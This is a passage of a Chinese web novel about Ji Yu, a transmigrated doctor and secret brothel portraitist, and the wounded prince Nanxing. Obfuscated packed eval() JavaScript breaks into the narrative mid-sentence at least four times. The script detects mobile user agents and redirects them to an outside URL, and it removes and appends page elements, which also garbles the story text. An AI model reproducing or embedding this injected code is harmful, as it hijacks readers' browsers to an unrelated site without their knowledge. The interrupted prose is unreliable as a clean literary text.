“这也不能怪你,你也不能未卜先知啊,谁知道他一个纨绔跑到临州去做什么。”季妤从布包里拿出一个油纸包,打开后拿出一块糕点塞进嘴里,又拿了一块给南星,“这是乔四娘糕点铺新鲜出炉的桃花酥,可难买了,我去得早,买到了最后一份。你尝尝,可好吃了!” 一包桃花酥就四块,外形做成桃花状,还是粉色的,看着精致漂亮,最受女孩子们的喜爱。 季妤也只在寻芳楼借着画师身份的光吃了一小块,直接把她给惊艳到了,心心念念了好久,实在是太贵又太难买,这桃花酥每天虽然都有卖,但限量,一两银子一包,一包才四块桃花酥,还都很小一块,一口就没了。 季妤有一次实在馋得厉害,打算咬咬牙花一两银子去买,谁知去的也算早了,愣是没了,卖完了。 这次能买到,实在也有运气成分,这最后一包桃花酥让她撞了运买到了,季妤心里高兴得不得了。 桃花酥…… 南星眼睫颤了缠,伸手接过季妤递过来的桃花酥,就这么定定地看着,也不急着吃。 季妤吃完一块去拿第二块时,看到南星一直盯着桃花酥,看得都入神了,不由开口笑道,“乔四娘糕点铺里的桃花酥是卖得最好的,因为做得最好看,像一朵盛开的桃花。” “不过再好看也是吃的啊,不必舍不得。” 季妤说完,笑着将第二块桃花酥塞入口中,三两下嚼完咽下后,便起身道:“我去院子里看医书了,你有事的话就喊一嗓子,我能听见。” “等等季姑娘——” 季妤回头,看到南星一脸踌躇的样子,似是有什么话想说,但又犹豫开不了口的样子。 季妤以为他是想问他箭伤上的毒一事,于是赶紧回道:“你的毒我会尽快在这两三天之内找出来解毒方法的。” “季姑娘的医术祁某相信。”南星浅浅一笑,“我叫住季姑娘是想问别的事。” 季妤重新坐了下来,看着南星,等着他问。 “乔四娘糕点铺还开着吗?” 季妤奇怪地看着南星,“当然开着啊,不然我这桃花酥哪里买的?不仅还开着,还开得红火呢!整个青州的糕点铺子没有一家比得上乔四娘糕点铺。” “听说宫里头最得圣上宠爱的姚贵妃也爱吃这桃花酥,也因为她爱吃,所以桃花酥卖得更火了。” “十几年过去了,竟然还开着吗?”南星幽幽地说。 “祁公子怎么知道这乔四娘糕点铺开了十几年了?”季妤狐疑地看了南星一眼。 “啊,我忘了,祁公子你说了小时候在青州住过一段时间。”季妤拍了拍自己的脑袋,看着南星手里的桃花酥,道,“你小时候肯定吃过这桃花酥吧,那你快尝尝味道变了没,与你小时候吃的可是一样?” 一块精致小巧的桃花酥塞入口中,入口绵密酥脆,香甜软糯,带着浓郁的桃花香,南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577375|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星眉头紧锁, 这桃花酥,与记忆中的味道不同,记忆里,桃花酥是淡淡的桃花香,没有这么浓郁,也没有这么甜。 南星忍不住失望地闭上了眼睛。 再也吃不到记忆中她亲手做的桃花酥了…… “怎么了?”看到南星皱着眉又紧闭着双眼,季妤忙问道,“这桃花酥不合你胃口吗?还是你不喜欢吃甜食?” “这桃花酥虽然好吃,确实也是比别的糕点甜了些,对于本不爱吃甜食的人来说,这桃花酥的甜的确是有些腻人。” 季妤倒了一杯水递过去,“你喝口水润一润,会好受些。” 南星缓缓睁开眼睛,看了季妤一眼,见她一脸紧张地看着自己,不由微微一笑,“季姑娘不必如此,我没有不喜欢吃,只是有些怀念小时候的味道罢了。” 说完接过季妤手里的杯子,浅浅抿了一口,将剩下的一块桃花酥推到季妤面前,淡笑道:“季姑娘爱吃,便留给季姑娘吃吧。” 季妤看了一眼递到她面前的最后一块桃花酥,咽了咽口水,抬眼看着南星,有些迟疑地问:“真给我了?” 见南星点头,季妤方才欢喜地拿起最后这一块桃花酥放在嘴边轻轻地咬上一小口,然后一脸陶醉地感叹一声:“真好吃啊!” 最后一块了,可不能像吃前两块一样吃的那么快,这一块得好好品尝才行,季妤眯起眼,又咬上一小口,慢慢且细细地咀嚼着。 见季妤这陶醉模样,不知道的人还以为她吃的是什么琼浆玉露,桃花酥就算难买,只要有心想买,一个月总能吃上几回吧,怎么这季姑娘看上去好像从来没吃过一样。 南星忍不住地问:“季姑娘没怎么吃过桃花酥吗?” 季妤一愣,想起自己吃桃花酥的陶醉样有多丢人后,尴尬地扯了扯嘴角,“那个,桃花酥难买嘛。” 苍白的解释,南星不信,她自己也不信,再难买,有心也能买到,比如今天她有心去买,就买到了最后一份。 见南星那表情明晃晃的不相信她的说辞,季妤只好实话实说:“太贵了。” 南星疑惑地看着她,“很贵吗?” 季妤瞪大眼睛狂点头,“当然贵了,一包一两银子呢!就那么四小块,嘴巴大的人两口就吃完了。” 南星轻笑出声,季妤瞪了他一眼,他一个养尊处优的三皇子哪里知道一两银子能买多少东西。 “一两银子可以够普通百姓吃一个月了,而且是隔三差五能吃上肉的一个月,你知道一斤猪肉就只要三十文钱吗?一两银子都可以买三十斤猪肉,可以吃好久呢!” 要不是实在馋得紧,再加上也想让他尝一尝,要不然季妤才不舍得花一两银子买这桃花酥。 “我不是不知道一两银子可以买很多东西,只是有些惊讶,十年前的桃花酥只要二十文钱一包,也是四块,而且没有现在的这么小一块。”南星神情认真地解释着。 季妤惊讶地瞪大眼睛,指着桌上的油纸包,不可置信地问,“你是说十年前一包桃花酥只要二十文?” 南星肯定地点头,十年前二十文一包桃花酥的价格还是他亲口定的。 15. 逗弄 “祁公子,今日阳光明媚,要不要出来晒晒太阳啊?” 季妤倚在门框,朝床上的南星展颜一笑。 早春多雨,难得连续几日都是大晴天,所以更得趁着有太阳的时候多晒晒太阳,否则遇上下雨天,便只能躲在屋里无聊了。 南星直起身子,朝门外看去,视线先落在季妤身上,有大片的阳光倾洒在她的身上,泛着暖黄的光,她笑容明媚,亦如这明媚的阳光耀眼。 南星微不可察地勾起嘴角,朝她点头:“好。” 季妤欢喜道:“那我去给你搬张躺椅。” 话音刚落,便提起裙子飞快跑了出去,鹅黄色的裙摆在空中扬起好看的弧度,如一群翩翩起舞的蝴蝶,优美又灵动。 南星下了床,走出屋子时正好看到季妤刚把躺椅摆好在院中,回头看到他来了,冲他一笑,然后朝他走来。 夺目的阳光有些刺眼,南星忍不住眯起眼,伸手挡在额前,直到适应了这刺眼的阳光后,才将手放下,可却又猝不及防地迎上一张明媚笑颜,南星心跳漏跳一拍,忙又将手挡在眼前,试图隔绝这令人晃眼的笑。 季姑娘似乎……很爱笑。 他从来没有见过笑得这样明媚灿烂的姑娘。 他见过小姐很多种笑,对着三皇子大多数是不失礼貌疏离的笑,有求于三皇子时是少女娇柔的笑,对着裴世子是羞涩脸红的笑,而对着他…… 南星抿了抿唇,小姐很少对他笑,即使对他笑,也只是嘴角微微上扬,浅浅一笑。 阿娘倒是经常笑,阿娘笑得很温柔很好看,但是他知道,阿娘笑容里藏着悲伤,他不喜欢悲伤的笑,宁愿阿娘不笑…… “祁公子你怎么了?可是阳光太刺眼了?”见南星站着不动,季妤好奇地弯腰凑近去看,看到了挡在手掌下的那双思绪万千的双眸,不由一愣。 祁公子他……在伤心? 不可置信地再去看时,却发现那双眼眸又和平时没什么两样,平静无波,季妤眨了眨眼,觉得自己看错了。 祁钰是小说主角中过得算是最幸福的人了,亲母是皇后,太后极其疼爱他,又得皇上器重,要不了多久他就会当上太子,最后登上皇位,除了受了点爱情上的伤外,他过得简直不要太好了。 所以说,他怎么可能露出那样伤心的眼神嘛? 南星躺在躺椅上,问季妤要了一本书看,季妤给他拿了一本话本。 南星翻开一看内容,忍不住道:“季姑娘,可否换一本别的书?” 季姑娘给他的话本都是些佳人才子谈情说爱的故事,他一个大男人着实不爱看。 季妤从医书里抬起头来,“祁公子要看什么书?我去拿。” “可有孙子兵法之类的书籍?” 季妤想了想,有些为难地摇了摇头。 兵书都是习武的或者武官看的,原主爹和原主都是学医的,家里的书大半都是医书,偶尔有几本话本和游记都是季妤穿过来后在书肆买的。 “祁公子要不看医书?我给你找本药草集,这个配着插图,比较简单好理解。”季妤说着,从自己身旁一堆的医书里翻找出一本药草集给他。 南星接过药草集,道了声谢,便重新躺回躺椅上,只是这翻开第一页后,脸上表情瞬间僵住,紧接着耳根泛红,一直从脸红到脖子,却因为肤色较深,红得不太引人注意。 他慌忙将书合上,抿着唇,有些不可置信地朝季妤那投去一眼,却发现她正窝在躺椅上,一边翻看医书,一边磕着瓜子,看得很是投入,全然没有意识到她给他的书是什么样的。 季姑娘她除了看医书和话本,竟然还会看这种书吗? 简直是人不可貌相。 南星思绪翻涌,指尖发起烫来,低头看了眼手里的书,书封处端端正正写着“药草集”三个大字,可打开里面却是另一番景象。 看季姑娘那淡定的样子,想来应该是不知道自己拿错了书,那他该如何? 继续镇定自若地看这本书,还是告知她拿错了书,若是告知她,她打开一看,发现此书是何内容,她恐怕会羞恼,而他也会陷入尴尬之境地。 可若假装无事继续翻看,这种内容他如何看得下去? 罢了,不看了,南星将书放在身侧,迎着阳光,找了个舒适的姿势闭上了眼。 如此安宁闲适的日子以后恐怕遇不上了,在伤好之前,且行且珍惜吧。 有风吹过,吹得书页翻飞作响,季妤忙将手里的糕点塞进嘴里,腾出手来去压被风吹起的纸张。 早春的风一点都不温柔,还带着一丝冷意,明媚的阳光逐渐散去,太阳快要落山了。 季妤整理了一下被风吹乱的书,然后准备提醒南星起风了,太阳落山没了阳光,让他回屋去,免得着凉,却在扭头之际看到一张俊美睡颜,当即便看入神了。 剑眉星目,鼻梁高挺,弧度清晰又优美的薄唇微抿着,待季妤凑近时,那薄唇微张,似呢喃着什么。 “阿娘……好吃……还要……” 似乎是做了什么好梦,南星嘴角上扬,眉眼舒展,露出一抹笑意,季妤便在此刻惊奇地发现了南星竟然有着一对浅浅的梨涡,就在两端嘴角旁。 这可是个重大发现啊,男二祁钰有梨涡,作者怎么一点都没提呢? 季妤微皱着眉,努力回想着书里的内容,试图找到一点有关祁钰梨涡的描写,可找了一圈,找到最多的是形容祁钰肤白似雪,气质儒雅,俊美如谪仙,最是温润如玉谦谦君子,关于他有梨涡的片段,却是一字未提。 季妤想得专注,身子弯着弯着就越凑越近,直到一阵风吹过,裹挟着吹散的桃花花瓣飘扬而来,落在南星的脸上,季妤回过神时,才发现自己几乎要贴上男人的脸。 在一张放大版无比清晰的俊秀容颜冲击下,季妤面上一红,她竟然看一张脸看得入了神,还鬼迷心窍地越靠越近。 灼热的气息喷洒在脸上,季妤惊得慌忙起身,忽听“啪嗒”一声,有东西掉落在地上,季妤垂头去看,是她给南星的药草集,被她慌乱起身时,用手不小心带到了地上,正要伸手去捡,忽风起,书页翻飞,季妤瞪着眼睛,不可置信地看着书里边的内容。 “我靠,我竟然忘了给书肆画的春宫图还夹在这本药草集里。” 季妤脸烧得厉害,慌忙将书合上捡起,抬眼时正与一双眼眸对上,季妤被吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南星看着站在窗前与他说话的季妤,有些不解地问:“季姑娘不吃吗?” “我晚上有事要出去一趟,打算在外面吃。” 南星沉默不语,怕他误会她吃独食,季妤忙道:“我可不是一个人出去吃好吃的,我是出去工作赚钱,我工作的地方管饭,所以就不在家里吃。” 这话是十足的真话,季妤不擅长撒谎,她一会儿要去寻芳楼给姑娘们画像,到时候可以蹭蹭美人包厢里的糕点,运气好的话,还能蹭到美酒喝。 寻芳楼是青州第一青楼,里面的吃食甚至比有些酒楼里的还要好吃,季妤每次去画画,都能很好地满足自己的嘴。 “可季姑娘不是大夫吗?难道青州的药铺晚上也看诊?” 面对南星狐疑的眼神和质疑的语气,季妤摸了摸鼻子,“那个,有个病人约了晚上来看病抓药。” 南星不疑有他,微微点头,“天黑路不好走,季姑娘小心些。” 季妤走后,南星走到窗前,看着天边悬挂着的那轮明月,从手腕处解下竹哨吹响。 一只通体灰黑色的鸽子立于窗前。 16. 季画师 南星将写好的纸条塞入鸽子左脚处的小竹筒里,挥一挥手,鸽子展翅高飞。 南星若有所思地看了一会儿天上圆月,直到有冷风迎面吹来,想起季妤所说的话,有伤者不宜吹冷风,便合上窗朝床榻走去。 寻芳楼。 “易文兄,有美人相陪怎的还如此愁眉不展的?莫不是嫌素娥姑娘不如梅蕊姑娘?” 面对好友蒋兆的调笑,钟易文无奈地摇头,身边的美人见状,忙将美酒送至唇边,娇笑道:“钟公子,可是如蒋公子所说的那般,嫌素娥不如梅蕊妹妹讨你喜欢?” 钟易文就着素娥的手将一杯美酒尽数喝下后,看了素娥一眼,仍旧愁眉不展一语不发,只连连叹气。 “既如此,何不唤梅蕊妹妹过来。”素娥见状,柳眉微蹙,眼里秋波盈盈,一副委屈欲泣的模样。 蒋兆怜惜美人,最是见不得美人落泪,于是斥责好友,“易文兄,这就是你的不是了,有素娥姑娘作陪,你就知足吧,怎么还嫌弃起来?” 钟易文瞪了蒋兆一眼,“我何时说过嫌弃素娥姑娘?你休要胡说。” “诶,你不是嫌弃素娥姑娘,那你摆出张晦气脸做什么,怎么,难道是看我不顺眼了?”蒋兆脸色也有些不好看了。 他见钟易文被他母亲逼着读书,被关了十来天了,好不容易他母亲松口,便好心带他来寻芳楼开心开心,却不想人家不领情,摆了张臭脸。 “也罢,你是要科考的,看不上我这等纨绔,既如此,你走吧,回你的钟府,读你的书去!”蒋兆拂袖起身,拽起素娥的手就要走。 钟易文见状,连忙一把拉住蒋兆,好言好语道:“哪里是嫌弃你,唉……” 钟易文叹了口气,“我也没嫌弃素娥姑娘,只是这两日实在被家妹闹得头疼不已,今日你来府中找我时,家妹正与我吵了一架,因此,现在还烦着呢!” 蒋兆听了这话,忽地想起他去钟府找钟易文时,确实听到了钟灵儿怒骂摔东西的声音,那声音大得他还没进院里就听到了。 啧啧,这个钟灵儿不愧是青州最刁蛮泼辣的女子,纵使她有沉鱼落雁之姿,也怪不得赵小侯爷不喜欢她。 “我听闻侯府夫人要给赵小侯爷在青州名门闺秀中挑选一个做儿媳妇,那赵小侯爷反抗不了,躲到了临州,难道灵儿妹妹是为这事气恼?” 钟易文坐了下来,看了蒋兆一眼,又是一叹,“若是这样,倒还好些,偏偏她无理取闹,嫌我给她找的画像师画技不好,把她画丑了,称我是故意的,就是为了让她在侯府夫人那落选。” 钟易文越说越气,看着蒋兆诉苦,“蒋兄,你说我是她亲哥,我怎么会故意让她落选?我虽然嫌弃那赵小侯爷是个纨绔风流公子,不想灵儿嫁给他,但也绝对不会使这种损招。” 蒋兆笑道:“易文兄的为人我清楚,何况你向来疼爱你的妹妹,只是能让令妹发这么大的火气,想来这画像师画技确实入不了令妹的眼,不知,你请的是哪位画像师?” “尹丘,尹画师。” 蒋兆一惊,“尹画师画技一绝,尤擅人物肖像画,画人惟妙惟肖,多少世家贵族请他入府都不一定能请到,怎么,令妹还瞧不上他的画?” “可不是?我可是花了五十两才把人请来了,后来画画好了,我瞧着画得挺像的,灵儿非说把她画丑了,还打了尹画师十板子,气得尹画师扬言再不踏入钟府。” “唉,还有两日就是画像送入侯府的日子,灵儿让我再重新找个画师来,可连尹画师都入不了她的眼,还有什么画师能入她的眼?” 钟易文愁得不得了,偏偏他又只有这一个妹妹,钟府上上下下疼她疼到骨子里,他自然也极疼她,只是这次画师一事,却是难办了些。 若是找不来画师,妹妹又要搅得府上不得安宁,到时候他读书也没法专心。 “钟公子,若是找画师的话,素娥倒是有一个人选。” “谁?”钟易文激动地抓住素娥的手,“此人姓甚名谁,家住何处?我亲自去请。” 素娥白皙柔软的手轻轻抚上钟易文的手背,柔柔一笑,斟上一杯美酒递到钟易文唇边,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577377|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟公子喝下这杯酒,素娥再一一道来。” 手背传来酥麻的痒意,钟易文脸上一红,抬眼看了素娥一眼,被她那双勾人的眸子吓了一跳,慌忙将手抽出,又低头看了一眼嘴边的酒杯,沉思了一瞬,抬手准备接过酒杯一饮而尽,谁知却接了个空。 钟易文不解地看向素娥,素娥娇笑一声,嗔道:“钟公子需得就着我的手喝下这杯酒才算。” 蒋兆在一旁看乐了,打趣道:“易文兄,你就遂了她愿罢!” 钟易文红了脸,就着素娥的手将美酒喝下。 素娥满意一笑,将空酒杯放下,然后道:“我们楼里有个画师,叫季宇,最擅画人物,能将人的脸画出十足十的像,不仅能画得像,还能在像的基础上把人容貌美化几分。” “诶,这不就是令妹所求的效果吗?”蒋兆扯了扯钟易文的衣袖,笑道。 钟易文皱眉道:“可是这青州何时有这样一个叫季宇,又擅画人像的画师?若真画技高超,怎么从未听说过?” 面对钟易文的质疑,素娥轻轻一笑,素手一指,指向前面,“钟公子,不妨看看你的身后。” 钟易文和蒋兆听了这话,转身扭头望向身后,只见身后的三块屏风上画满了各色美人。 钟易文不解地回望素娥,素娥扭着不盈一握的细腰走到屏风处,朝二位公子一笑,“两位公子请上前细看。” 两人依言上前凑近细看,忽地蒋兆惊讶出声,指着屏风上一位美人道:“这画的是素娥姑娘吧!” 素娥笑着点头,蒋兆看了看素娥,又看了看画上美人像,惊叹道:“这画得果真惟妙惟肖,竟将素娥姑娘这闭月羞花的容貌画了个十足十的像。” “这,这是梅蕊姑娘吧?”钟易文指着画上素娥身旁的美人像,看了眼素娥道。 素娥笑道:“是呢,屏风上的美人图画的皆是我楼中姑娘们,敢问二位公子,画得像也不像?” 蒋兆赞叹:“可太像了!” 钟易文朝素娥拱手鞠了一礼,“请素娥姑娘为在下引荐季画师。” 17. 难掩失望 “季画师,素娥姑娘请你去一趟。” 正吃着桃花酥,喝着美酒的季妤闻声回头去望,便看到素娥身边的侍女小春低眉顺眼地站在屏风处。 季妤赶紧起身,拍了拍身上的糕点碎末,又整理了一下被酒不小心浸湿的衣襟,装作无事发生般,一脸平静地朝小春走去,“我一会儿还要给梅蕊姑娘作画呢,素娥姑娘找我何事?” 小春抬起眼来,看了季妤一眼,视线定格在嘴上,突然“噗嗤”笑出声,好笑般看着季妤。 季妤不明所以,一脸不解问:“你笑什么?” 难道我长得很可笑吗?还是我这身装扮有什么问题?季妤心里暗暗腹诽。 为了不必要的麻烦,她是女扮男装以男画师的身份进入的寻芳楼,但因为身高不够,即使她对外称已有十六岁,寻芳楼里的姑娘们还是都把她当成十三四岁的小少年,因此,便对她多有照顾和包容,雅阁里的糕点和一些吃食都任由她吃,就是防着她喝酒。 但越防着她喝,她偏偏又非常想喝,于是便只能在房里没人的时候浅浅的小酌一杯。 所以是她刚刚趁着梅蕊出去了偷偷喝了一杯美酒,然后正好被进来的小春看到了,所以在笑她偷喝酒被抓包后的滑稽反应? 季妤仔细回想了一下自己方才的反应,又是拍衣服,又是整理衣襟的,确实小动作有点多了,人在尴尬的时候就会假装自己很忙碌,她刚刚肯定是活脱脱一副做贼心虚的尴尬样子。 正要作一番解释,却看到小春指了指她的嘴,打趣般笑道:“季画师,可是又偷吃了房里的糕点?” 季妤伸手朝嘴边摸去,果然摸到了糕点碎屑,见被小春点破,季妤有些尴尬地挠了挠头,嘿嘿地笑了两声。 这是默认了。 “你还没回答我,素娥姑娘找我去做什么呢?” “她请你过去要……” “你去回她,季画师要给我作画,她要是有事找季画师,那得等季画师给我画完再去。” 小春的话还没说完就被一道清脆的嗓音给打断了,两人同时朝门口看去,便看到一身红衣的梅蕊盈盈走来。 小春朝梅蕊福了福身,“梅蕊姑娘,素娥姑娘找季画师是有重要的事商量。” 梅蕊冷冷睨了小春一眼,随后将视线落在季妤身上,对着季妤笑了笑,道:“有什么要紧的事也比不得季画师给我作画重要。” 小春有些着急地抬起头来,先是朝梅蕊看去,见她背对着,只看得到她纤细的背影,看不到她脸上的表情,但听语气能够听出,她不乐意放季画师去。 梅蕊姑娘一向和素娥姑娘不对付,因着一月后的花魁大赛,二人又是最有能力夺得花魁的人选,所以两人较着劲,都想压对方一头,便更加互看不顺眼。 小春心里着急得不行,今日确实是轮到季画师给梅蕊姑娘作画,按理说没有梅蕊姑娘的允许,季画师是没法私自去素娥姑娘处的。 她将视线落在季妤身上,朝她眨了眨眼,然后伸出手来做出一个手势。 那是钱的手势,还是季妤教给她的。 季妤起先不解,后来看到那个手势,瞬间明白,于是她朝着小春无声地张口说了两个字。 多少。 看到小春比划的数字,季妤瞬间眼睛亮了起来,脸上的激动和兴奋怎么藏也藏不住。 三两银子! 刚刚小春伸出了三根手指,这就是说素娥姑娘要以三两银子找她画一幅画。 平时给寻访楼里的姑娘们作画,以素娥,梅蕊为首的第一梯队的姑娘,基本上是一两银子一张,这算是多的,第二梯队的姑娘则是半两银子,第三梯队的姑娘又要再折去一半。 如此拿出三两银子找她作画,也未免太过奢侈了,虽然她认为她的画值这个价,但是据她了解,素娥最近正在攒赎身的钱,她怎么会突然要以三两银子请她作画? 难道是因为今天她是给梅蕊作画的,所以为了气梅蕊,也为了压梅蕊一头,所以不惜下血本? 管她是不是下血本,既然素娥要花三两银子找她画,那么她就没道理跟钱过不去,只是梅蕊这边的一两银子的画还没开始。 季妤有些犹豫,虽然三两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577378|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银子更重要,但既然答应了梅蕊今日是给她作画的,那么就得有个先来后到,等给梅蕊画完,她再过去给素娥画,反正她画一张画也不用很久,大不了今夜不睡觉了。 想了想,心里已有了决断,便朝小春道:“你告诉素娥姑娘,等我给梅蕊姑娘画完再去她那。” “这……可是……”小春为难地看着季妤。 “行了。”梅蕊冷哼一声,走到案前拿起琵琶,涂满鲜红蔻丹的纤纤素手随意拨弄琴弦,随着悦耳的琵琶声传出的还有那清脆慵懒的嗓音,“季画师,我要练琵琶了。” 意思就是,季妤可以自行安排。 季妤脸上一喜,但很快强行压下,只一脸平静地拱手道:“既如此,那梅蕊姑娘好好练琵琶,我一会儿再过来为你作画。” 出了房门,季妤忙拉着小春的手臂,有些急切,问:“素娥姑娘当真出三两银子要我作画?” “什么三两,是三十两!”小春凑到季妤耳边,难掩笑意地轻声道。 “什么!”季妤难以置信地喊了出来,直到喊出来后才发现自己声音有点大,怕被有心人听到,忙紧张地四处看了看。 见走廊上除了几个喝得烂醉的恩客就是楼里的姑娘,没什么可疑之人,便压下心中激动的情绪,凑近小春,刻意压低声音,问:“素娥姑娘这是发财了?怎么突然那么大手笔要我作画?” 小春投去一个意味深长的笑,“你去了便知。” 季妤满头雾水却又难掩激动地被小春带到了素娥的雅阁。 等进了雅阁,季妤却发现房内除了素娥,还有两位年轻公子,皆是身着华服,相貌端正,举手投足间自有一番风流气质。 只是两位年轻公子见跟着小春进来的是个个头不怎么高,看上去稍显稚嫩的小子,皆是一脸失望。 钟易文和蒋兆对视一眼,纷纷摇头。 蒋兆忍不住朝素娥道:“这该不会就是你说的那个季宇,季画师吧?” 素娥笑意盈盈走到季妤身旁,拉着她又走到屏风处,看向钟易文道:“这屏风上的美人图皆出自他手。” 18. 送伞 季妤不明白似的看向素娥,素娥笑着向季妤一一介绍道:“季画师,这位是钟公子,这位是蒋公子。” 季妤朝两人拱手:“钟公子,蒋公子,在下是寻芳楼的画师,姓季,单字一个宇。” 介绍完自己后,季妤便看到这位蒋公子走到自己面前,先是上下打量了她一番,然后伸出手来探向她的头顶,比划在自己的肩膀上,沉默了片刻,最后忍不住笑着揶揄:“季画师个头还没到我脖子呢,可是年岁尚小?” 季妤笑着回道:“已满十六。” 蒋兆惊讶地扭头看向钟易文,却见人家压根没往他这看,于是又悻悻地把视线落在季妤身上,煞有其事道:“已经十六了啊!我三弟也是十六,已经到我眼睛处,季画师看着着实不像这个年岁的少年。” 面对这暗戳戳的怀疑,季妤内心平静,面上依旧带笑,“小时候家里穷苦,常常吃了上顿没下顿,因此比同龄人要瘦小些。” 这个蒋公子无疑就是怀疑她的真实身份罢了,不过她本来就长得浓眉大眼,眉眼间又有一股英气,所以在现实世界里她基本都是留的短发,穿着也是中性风,有很强的少年感。 而现在这副身体,五官样貌身高都与她原本的别无二致,甚至脸还要更瘦削些,显得更加少年英气,因此,装扮起男子来还真像那么回事,没见过她女装样的,任谁也想不到她是个女娃。 对于季妤的这一番解释,蒋兆却是有些不信的,他一双眼睛直直地盯着季妤的眼,试图从中找出什么缺漏,只是盯了许久,那双圆溜溜的眼睛清澈见底,没有半点撒谎的意味。 人的眼睛是不会骗人的,即使从眼睛里找不出什么,蒋兆却还是从季妤话语间找出了漏洞。 蒋兆道:“可据我所知,学画之人可不是一般的贫苦人家能学得起的,况且我见那屏风上的美人图惟妙惟肖,画技不俗,你又是怎么学的?” 这一下子就问到了关键处,季妤眉头微蹙,这蒋公子怎么一直在怀疑她,她是画师很难让人相信吗?难不成还要让她当场作画一番给自己证明? 见蒋兆的视线又飘过来,季妤直接忽视了他,紧皱的眉头一松,看向素娥,装作一副不解的模样,“素娥姑娘,你找我过来是要做什么?若不是要紧的事,我就先给梅蕊姑娘作画去了。” 季妤没有正面回答蒋兆的问题,而是很巧妙地转移话题,回到了要谈的正事上,将一系列问题抛给素娥。 毕竟是素娥请她过来的。 在见到钟易文和蒋兆二人时,季妤就隐隐猜到是这两位公子要找画师,所以素娥便推荐了她。 她就说嘛,素娥怎么可能拿出三十两银子要她作画,除非她疯了。 素娥反应过来,白皙的手臂一伸,做出一个请的动作,笑着道:“几位坐下详谈。” 季妤礼貌性地做了个“请”的动作,先让他们两个落座,等他们坐下后,她才坐在素娥旁边。 素娥替每人倒了一杯美酒,钟易文道了声谢,想起自己的目的,于是站起身来朝季妤拱手,“季画师,若你当真能画出如那屏风里的美人一样的画,我愿以三十两请季画师到府上为我妹妹作画。” 季妤眼睛一亮,果然不出她所料,要找她作画的确实是这两位公子中的其中一人。 只是既是这位钟公子要找她作画,那位蒋公子着什么急,怀疑她这怀疑她那的,还嘲笑她矮。 季妤抿唇朝蒋兆那瞥了一眼,见他正端着酒杯喝酒,没有发现她看他,于是季妤飞快地瞪了他两眼后收回视线,然后一脸笑意地看着钟易文。 “钟公子既然诚心邀请,那我自然不会推脱,不过什么时候去贵府给令妹作画?” “明日如何?”钟易文有些小心翼翼地问。 他怕时间太紧,季妤没有空闲时间而回绝他,那他妹妹又要与他闹上一番,这可就头疼了。 季妤点头笑道:“好,我明日一早便去。” 钟易文从腰间取下钱袋,打开数了数,重新合上后递给季妤,“这里面是十两银子,算作定金,等你画完了,我妹妹满意后,便把剩下的二十两给你。” 季妤接过钱袋,问:“那如果画得不合令妹心意,这定金要退吗?” 钟易文一愣,似是没想到季妤会问这个问题,沉默了片刻,等蒋兆的笑声响起,钟易文才反应过来,看向季妤温和一笑,“即使不合我妹妹的心意,但季画师也是付出了辛劳,这定金自然是不用退的。” 季妤难掩欢喜,忙笑道:“明日一定准时到府上,届时也定会让令妹满意。” …… 雨淅淅沥沥地下着,落在窗子上,啪嗒啪嗒作响。 南星小心地别开伤口起身下了床,走到窗子旁打开窗,一阵风裹挟着冰凉的雨珠打在脸上,南星睫毛颤了颤,看着窗外漆黑如墨的天色,以及对面昏暗的屋子,若有所思。 …… “怎么下雨了啊!” 季妤奔跑在街上,被突如其来的雨给淋了个透彻。 从寻芳楼出来已经很晚了,街上行人本就寥寥无几,这突然一场雨下来,街上更是一个人影都看不到。 空空荡荡的街,只有季妤迎着雨奔跑着朝家中去,看着前面阴森漆黑的巷子,季妤心里有些害怕。 她胆子本来挺大的,以前在宿舍还敢看着恐怖片睡觉。可现在她身处这样的坏境,脑子里像是放幻灯片一样将她以往看过的恐怖片鬼片都放了一遍。 湿冷的空气让人升起一股恐惧。 一种对未知的恐惧让季妤情不自禁地伸出双臂环抱住自己,忍不住打了个寒颤,她朝不远处的巷子望去,只要进了这个巷子一直跑,就能到家。 可雨丝模糊了她的视线,她跑着跑着,突然看到巷子处钻出一个黑影,那个黑影很是高大,朝季妤慢慢逼近。 恐惧占据了全部思绪,季妤瞳孔剧缩,心脏拼命地跳动,嘴唇颤抖着忙后退几步,转身想跑,可却发现脚底仿佛被粘住了一样,任凭她怎么使劲,都挪动不了分毫。 那个黑影该不会是鬼吧? 